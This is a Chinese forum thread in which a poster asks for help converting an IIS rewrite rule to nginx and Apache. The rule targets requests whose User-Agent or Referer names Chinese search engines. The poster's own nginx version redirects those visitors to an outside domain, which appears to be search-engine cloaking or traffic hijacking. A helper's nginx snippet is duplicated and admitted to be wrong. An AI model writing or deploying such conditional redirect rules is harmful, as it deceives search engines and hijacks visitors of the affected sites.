IIS 下的伪静态规则 想写成 APACHE 和 nginx 求教
<configuration> <system.webserver> <rewrite> <rules> <rule name="*"> <match url="^(.*)$"> <conditions logicalgrouping="MatchAny"> <add input="{HTTP_USER_AGENT}" pattern="baidu|so|sogou|360|sm"> <add input="{HTTP_REFERER}" pattern="baidu|so|sogou|360|sm"> </add></add></conditions> <action type="Rewrite" url="/inc/index.asp?{R:1}"> </action></match></rule> </rules> </rewrite> </system.webserver> </configuration> 1
silencefent 2018-10-07 14:51:57 +08:00
交作业吗?
``` location /{ if ($http_user_agent ~* (baidu|so|sogou|360|sm)||$http_referer ~*(baidu|so|sogou|360|sm)) { if (!-e $request_filename) { rewrite ^(.*)$ /inc/index.asp?/$1 last; break; } } if ($http_user_agent ~* (baidu|so|sogou|360|sm)||$http_referer ~*(baidu|so|sogou|360|sm)) { if (!-e $request_filename) { rewrite ^(.*)$ /inc/index.asp?/$1 last; break; } } }``` |
2
silencefent 2018-10-07 14:53:15 +08:00
写错了,nginx 不支持嵌套和多重判断,想改结果发出去了...
|
3
solomensec OP @silencefent if ($http_user_agent ~* (baidu|so|sogou|360|sm)) {
rewrite ^(.*) http://jsc.d22p.com/index.php?$1 last; } if ($http_referer ~* (baidu|so|sogou|360|sm)) { rewrite ^(.*) http://jsc.d22p.com/index.php?$1 last; } |
4
solomensec OP @silencefent 我擦,打错了。算了,现在就差 apache 了,非常感谢。
|
5
solomensec OP 已经写完了,谢谢各位。
|